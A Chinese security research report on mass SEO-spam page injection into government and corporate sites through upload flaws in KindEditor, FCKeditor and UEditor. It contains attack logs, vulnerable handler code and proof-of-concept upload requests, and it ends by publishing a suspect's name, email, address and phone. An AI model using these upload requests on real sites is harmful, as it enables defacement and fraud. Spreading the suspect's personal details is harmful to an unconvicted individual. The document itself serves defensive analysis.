作者:SanLorewalker@知道創宇404積極防御實驗室
一、背景
知道創宇威脅情報中心-業務安全輿情監測平臺不斷發現大量網站被植入非法SEO內容頁面,且最近有明顯上升的現象,2020年4月至6月發現了6,802個網站被植入了4,955,586個非法SEO內容頁面,知道創宇404積極防御實驗室的安全研究員針對該現象了進行了分析、溯源。
被非法植入SEO頁面的域名備案省份分布如下:
其中,企業占了67%;政府機關、事業單位等國家機構占比4%,如下圖:
被植入非法SEO頁面的存活統計如下:
二、詳細分析
訪問這些被植入的頁面會自動跳轉到博彩網站、色情網站。這些頁面通過嵌入大量暗鏈、偽裝成404錯誤頁面、寫入到PDF文件內容中等多種方法來提高在搜索引擎中的排名。
1. 非法SEO頁面植入案例
被植入的非法SEO頁面有如下幾種:
2. 日志分析
經分析,發現這些網站大部分使用了KindEditor、UEditor和FCKeditor。KindEditor和UEditor在默認配置的情況下允許訪客上傳文件,FCKeditor在配置不當的情況下會導致訪客任意上傳文件。
對使用KindEditor的網站日志分析,政府機構、教育機構、事業單位、企業等網站都存在異常數據流量,其特征都是訪問不同網站的同一個目錄文件:
www.*.com/kindeditor/*/upload_json.ashx?dir=image
以KindEditor為關鍵字,在谷歌搜索上找到大量的被非法注入的SEO內容的頁面:
知道創宇云安全CDN捕獲到黑客的上傳請求:
2020-06-28 16:53:49 180.104.*.* POST www.*.com/e/incs/kindeditor/ashx/upload_json.ashx?dir=image
2020-06-28 17:00:20 106.115.*.* POST www.*.com/kindeditor/asp.net/upload_json.ashx?dir=file
2020-06-28 16:59:58 106.115.*.* POST www.*.com/kindeditor/asp.net/upload_json.ashx?dir=file
2020-06-28 17:00:07 106.115.*.* POST www.*.com/kindeditor/asp.net/upload_json.ashx?dir=file
2020-06-28 16:59:26 106.115.*.* POST www.*.com/kindeditor/asp.net/upload_json.ashx?dir=file
2020-06-28 16:59:48 106.115.*.* POST www.*.com/kindeditor/asp.net/upload_json.ashx?dir=file
2020-06-28 16:59:52 106.115.*.* POST www.*.com/kindeditor/asp.net/upload_json.ashx?dir=file
2020-06-28 16:55:11 180.104.*.* POST www.*.com/e/incs/kindeditor/ashx/upload_json.ashx?dir=image
2020-06-28 16:55:30 180.104.*.* POST www.*.com/e/incs/kindeditor/ashx/upload_json.ashx?dir=image
2020-06-28 16:58:22 58.216.*.* POST www.*.gov.cn/editor/kindeditor/php/upload_json.php?dir=image
2020-06-28 17:24:25 58.216.*.* POST www.*.gov.cn/editor/kindeditor/php/upload_json.php?dir=image
2020-06-28 17:00:13 106.115.*.* POST www.*.com/kindeditor/asp.net/upload_json.ashx?dir=file
2020-06-28 16:59:45 106.115.*.* POST www.*.com/kindeditor/asp.net/upload_json.ashx?dir=file
2020-06-28 17:00:24 106.115.*.* POST www.*.com/kindeditor/asp.net/upload_json.ashx?dir=file
2020-06-28 16:59:32 106.115.*.* POST www.*.com/kindeditor/asp.net/upload_json.ashx?dir=file
2020-06-28 16:48:53 45.89.*.* POST jtj.*.gov.cn/js/kindeditor/jsp/upload_json.jsp?dir=file
2020-06-28 16:59:27 106.115.*.* POST www.*.com/kindeditor/asp.net/upload_json.ashx?dir=file
2020-06-28 17:00:04 106.115.*.* POST www.*.com/kindeditor/asp.net/upload_json.ashx?dir=file
2020-06-28 16:54:57 223.113.*.* POST b2b.*.cn/member/kindeditor/php/upload_json.php?dir=image
2020-06-28 16:44:40 27.38.*.* POST b2b.*.cn/member/kindeditor/php/upload_json.php?dir=image
2020-06-28 16:44:24 27.38.*.* POST b2b.*.cn/member/kindeditor/php/upload_json.php?dir=image
2020-06-28 16:55:16 223.113.*.* POST b2b.*.cn/member/kindeditor/php/upload_json.php?dir=image
2020-06-28 16:55:32 223.113.*.* POST b2b.*.cn/member/kindeditor/php/upload_json.php?dir=image
2020-06-28 16:55:50 223.113.*.* POST b2b.*.cn/member/kindeditor/php/upload_json.php?dir=image
經過統計,80%的非法植入頁面都與KindEditor編輯器有關,并且 KindEditor編輯器的版本號都小于4.1.12。
3. 編輯器漏洞分析
3.1 影響范圍
知道創宇ZoomEye檢索到KindEditor編輯器相關記錄 29,595條、FCKeditor編輯器記錄238,711條、UEditor編輯器記錄 18,648條,如下所示:
使用ZoomEye網絡搜索引擎快速評估了三種編輯器漏洞的影響范圍,其中UEditor主要省市分布如下:

FCKeditor主要省市分布如下:

KindEditor主要省市分布如下:

3.2 KindEditor 編輯器文件上傳漏洞分析
KindEditor < 4.1.12 版本存在任意文件上傳漏洞,文件KindEditor/php/upload_json.php是演示程序,不檢查訪問者的權限以及內容即可上傳文件,且很多網站系統沒有刪除該文件,造成惡意用戶上傳非法內容。upload_json.php關鍵代碼如下所示:
/有上傳文件時
if (empty($_FILES) === false) {
//原文件名
$file_name = $_FILES['imgFile']['name'];
//服務器上臨時文件名
$tmp_name = $_FILES['imgFile']['tmp_name'];
//文件大小
$file_size = $_FILES['imgFile']['size'];
//檢查文件名
if (!$file_name) {
alert("請選擇文件。");
}
//檢查目錄
if (@is_dir($save_path) === false) {
alert("上傳目錄不存在。");
}
//檢查目錄寫權限
if (@is_writable($save_path) === false) {
alert("上傳目錄沒有寫權限。");
}
//檢查是否已上傳
if (@is_uploaded_file($tmp_name) === false) {
alert("上傳失敗。");
}
//檢查文件大小
if ($file_size > $max_size) {
alert("上傳文件大小超過限制。");
}
//檢查目錄名
$dir_name = empty($_GET['dir']) ? 'image' : trim($_GET['dir']);
if (empty($ext_arr[$dir_name])) {
alert("目錄名不正確。");
}
//獲得文件擴展名
$temp_arr = explode(".", $file_name);
$file_ext = array_pop($temp_arr);
$file_ext = trim($file_ext);
$file_ext = strtolower($file_ext);
//檢查擴展名
if (in_array($file_ext, $ext_arr[$dir_name]) === false) {
alert("上傳文件擴展名是不允許的擴展名。\n只允許" . implode(",", $ext_arr[$dir_name]) . "格式。");
}
//創建文件夾
if ($dir_name !== '') {
$save_path .= $dir_name . "/";
$save_url .= $dir_name . "/";
if (!file_exists($save_path)) {
mkdir($save_path);
}
}
$ymd = date("Ymd");
$save_path .= $ymd . "/";
$save_url .= $ymd . "/";
if (!file_exists($save_path)) {
mkdir($save_path);
}
//新文件名
$new_file_name = date("YmdHis") . '_' . rand(10000, 99999) . '.' . $file_ext;
//移動文件
$file_path = $save_path . $new_file_name;
if (move_uploaded_file($tmp_name, $file_path) === false) {
alert("上傳文件失敗。");
}
@chmod($file_path, 0644);
$file_url = $save_url . $new_file_name;
header('Content-type: text/html; charset=UTF-8');
$json = new Services_JSON();
echo $json->encode(array('error' => 0, 'url' => $file_url));
exit;
}
POC如下:
POST /asp/upload_json.asp?dir=file HTTP/1.1
Host: www.*.com
User-Agent: curl/7.64.1
Accept: */*
Content-Length: 80432
Content-Type: multipart/form-data; boundary=------------------------9f9be5bc74ffdc89
Expect: 100-continue
HTTP/1.1 200 OK
Date: Thu, 09 Jul 2020 05:26:25 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 85
Connection: keep-alive
Cache-Control: private
Set-Cookie: ASPSESSIONIDSCQCSSTQ=HCFCPMPCKGEKEBLLNIBOJOBL; path=/
X-Via-JSL: 9f68ad3,-
Set-Cookie: __jsluid_h=735a5857c6600e858cbf1e17cbf444f3; max-age=31536000; path=/; HttpOnly
X-Cache: bypass
{"error":0,"url":"\/asp\/..\/company\/upimages\/20200709\/20200709132665736573.html"}
3.3 FCKeditor 編輯器文件上傳漏洞分析
PHP 版本 <= 2.4.2 在處理PHP 上傳的地方并未對用戶進行上傳文件類型的控制,導致用戶上傳任意文件。
通過測試分析,發現上傳文件的接口:
www.*.com/gedo/mambots/editors/fckeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=FileUpload&Type=File&CurrentFolder=/
關鍵參數有:Command、Type和CurrentFolder。
首先在源碼中,查找Command、Type和CurrentFolder三個參數相關的代碼:
$sCommand = $_GET['Command'] ;
$sResourceType = $_GET['Type'] ;
$sCurrentFolder = $_GET['CurrentFolder'] ;
sCommand變量,當該變量值為“FileUpload”時,會通過FileUpload函數處理:
if ( $sCommand == 'FileUpload' )
{
FileUpload( $sResourceType, $sCurrentFolder ) ;
return ;
}
FileUpload(位于commands.php)只是簡單的對文件后綴名做了黑名單限制:
$arDenied = $Config['DeniedExtensions'][$resourceType] ;
未對非法內容進行過濾,也沒有進行權限限制,就可以利用這一點進行非法SEO內容上傳。
POC如下:
POST /gedo/mambots/editors/fckeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=FileUpload&Type=File&CurrentFolder=/ HTTP/1.1
Host: www.*.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------29373750073747171394011132748
Content-Length: 325
Origin: http://www.*.com
Connection: close
Referer: http://www.*.com/gedo/mambots/editors/fckeditor/editor/filemanager/browser/default/frmupload.html
Upgrade-Insecure-Requests: 1
-----------------------------29373750073747171394011132748
Content-Disposition: form-data; name="NewFile"; filename="testtest.html"
Content-Type: text/html
<!DOCTYPE html>
<html>
<head>
<title>test title</title>
</head>
<body>
<p>girl<p>
</body>
</html>
-----------------------------29373750073747171394011132748--
HTTP/1.1 200 OK
Date: Fri, 10 Jul 2020 02:18:42 GMT
Server: Apache
Connection: close
Content-Type: text/html
Content-Length: 112
<script type="text/javascript">window.parent.frames["frmUpload"].OnUploadCompleted(0,"testtest.html") ;</script>
3.4 UEditor 編輯器文件上傳漏洞分析
UEditor 1.4.3.3 的.NET語言版本存在任意文件上傳漏洞。因為編輯器上傳接口暴露:/ueditor/net/controller.ashx?action=catchimage,網站開發人員未對其進行安全設置,造成任意文件上傳漏洞。
在UEditor 中有一個上傳邏輯部分的controller.php文件,如下所示:
date_default_timezone_set("Asia/chongqing");
error_reporting(E_ERROR);
header("Content-Type: text/html; charset=utf-8");
$CONFIG = json_decode(preg_replace("/\/*[\s\S]+?*\//", "", file_get_contents("config.json")), true);
$action = $_GET['action'];
switch ($action) {
case 'config':
$result = json_encode($CONFIG);
break;
/ 上傳圖片 /
case 'uploadimage':
/ 上傳涂鴉 /
case 'uploadscrawl':
/ 上傳視頻 /
case 'uploadvideo':
/ 上傳文件 /
case 'uploadfile':
$result = include("action_upload.php");
break;
/ 列出圖片 /
case 'listimage':
$result = include("action_list.php");
break;
/ 列出文件 /
case 'listfile':
$result = include("action_list.php");
break;
/ 抓取遠程文件 /
case 'catchimage':
$result = include("action_crawler.php");
break;
default:
$result = json_encode(array(
'state'=> '請求地址出錯'
));
break;
}
每當抓取遠程數據源時,都會進入“catchimage”分支,而Crawler方法對source[]的檢查僅僅是一個ContentType:
if (response.ContentType.IndexOf("image") == -1)
{
State = "Url is not an image";
return this;
}
因此,惡意用戶就可以通過構造以下代碼上傳任意文件,POC如下所示:
POST /ueditor/net/controller.ashx?action=catchimage HTTP/1.1
Host: www.*.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 41
Connection: close
Upgrade-Insecure-Requests: 1
source%5B%5D=http%3A%2F%2Fwww.*.com
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/plain; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: Content-Type
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Date: Thu, 09 Jul 2020 06:38:58 GMT
Connection: close
Content-Length: 105
{"state":"SUCCESS","list":[{"state":"Url is not an image","source":"http://www.*.com","url":null}]}
4. IP分析
從知道創宇云安全CDN數據中抽取6月28日的日志記錄,統計因編輯器漏洞導致上傳次數大于10次的異常IP:
| IP | 地理位置 | 上傳次數 |
|---|---|---|
| 106.115.x.x | 河北 | 96 |
| 80.251.x.x | 美國 | 90 |
| 104.233.x.x | 日本 | 30 |
| 58.216.x.x | 江蘇 | 30 |
| 112.53.x.x | 江蘇 | 24 |
| 218.4.x.x | 江蘇 | 13 |
| 119.180.x.x | 山東 | 10 |
抽取了一個6月活躍的IP,節選的片段如下所示:
2020-06-28 16:11:18 58.216.*.* jggw.*.gov.cn /api.php?op=upload_json&dir=image
2020-06-28 11:40:12 58.216.*.* zx.*.gov.cn /api.php?op=upload_json&dir=image
2020-06-28 15:48:56 58.216.*.* ql.*.org.cn /api.php?op=upload_json&dir=image
2020-06-28 15:49:11 58.216.*.* ql.*.org.cn /api.php?op=upload_json&dir=image
2020-06-28 17:04:47 58.216.*.* jyj.*.gov.cn /api.php?op=upload_json&dir=file
2020-06-28 11:04:33 58.216.*.* ciip.*.gov.cn /api.php?op=upload_json&dir=image
2020-06-28 11:37:09 58.216.*.* zx.*.gov.cn /api.php?op=upload_json&dir=image
2020-06-28 11:37:13 58.216.*.* zx.*.gov.cn /api.php?op=upload_json&dir=image
2020-06-28 11:37:17 58.216.*.* zx.*.gov.cn /api.php?op=upload_json&dir=image
2020-06-28 11:37:20 58.216.*.* zx.*.gov.cn /api.php?op=upload_json&dir=image 2020-06-28 16:30:20 58.216.*.* www.*.gov.cn /editor/kindeditor/php/upload_json.php?dir=image
2020-06-28 16:31:17 58.216.*.* www.*.gov.cn /editor/kindeditor/php/upload_json.php?dir=image
2020-06-28 16:39:01 58.216.*.* www.*.gov.cn /editor/kindeditor/php/upload_json.php?dir=image
2020-06-28 16:39:12 58.216.*.* www.*.gov.cn /editor/kindeditor/php/upload_json.php?dir=image
2020-06-28 12:08:24 58.216.*.* jyj.*.gov.cn /api.php?op=upload_json&dir=image
2020-06-28 12:08:36 58.216.*.* jyj.*.gov.cn /api.php?op=upload_json&dir=image
2020-06-28 16:49:55 58.216.*.* gxj.*.gov.cn /api.php?op=upload_json&dir=file
2020-06-28 16:51:03 58.216.*.* zfhcxjsj.*.gov.cn /api.php?op=upload_json&dir=image
2020-06-28 16:51:10 58.216.*.* zfhcxjsj.*.gov.cn /api.php?op=upload_json&dir=image
2020-06-28 16:51:18 58.216.*.* zfhcxjsj.*.gov.cn /api.php?op=upload_json&dir=image
有著相同的規律:每5秒到10秒就發送一次POST非法SEO頁面請求,且該IP在三天內沒有一次訪問過受害網站,因此可以判斷黑客利用非法工具對網站進行了批量上傳頁面操作。
5. 黑客溯源
經分析,這些網站都有共同存在的暗鏈:
| 鏈接 | 描述 |
|---|---|
| www.ikaidian.net/css.js | 惡意偽造虛假八卦消息的網站 |
| www.htmljpg.com | 外表小說網站其實暗鏈綜合網站 |
| www.113112.xyz | 存儲大量色情圖片的網站 |
www.ikaidian.net/css.js 截圖如下:
www.ikaidian.net/404.js的內容截圖如下:
繼續打開,里面藏著一個賬號:E-mail:fa885168@gmail.com
用谷歌搜索,所有結果都是色情頁面,布局格式和上文找到植入非法SEO內容一致:
必應搜索結果如下所示:
點進網頁,搜索源碼,發現一段有效信息:
有效信息如下:
Name: facai chen
Street: guangdongshengzhongshanshizhongshanjie
Postal Code: 528400
Phone: +86.1317****648
Email: fa885168@gmail.com
郵編與街道相符,手機號為山東濱州聯通的電話號碼。
微信查找手機號,疑似黑客的微信:
微信頭像疑似為本人照片:
根據追溯結果顯示,該漏洞已被國內黑產人員大批量自動化利用。
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1273/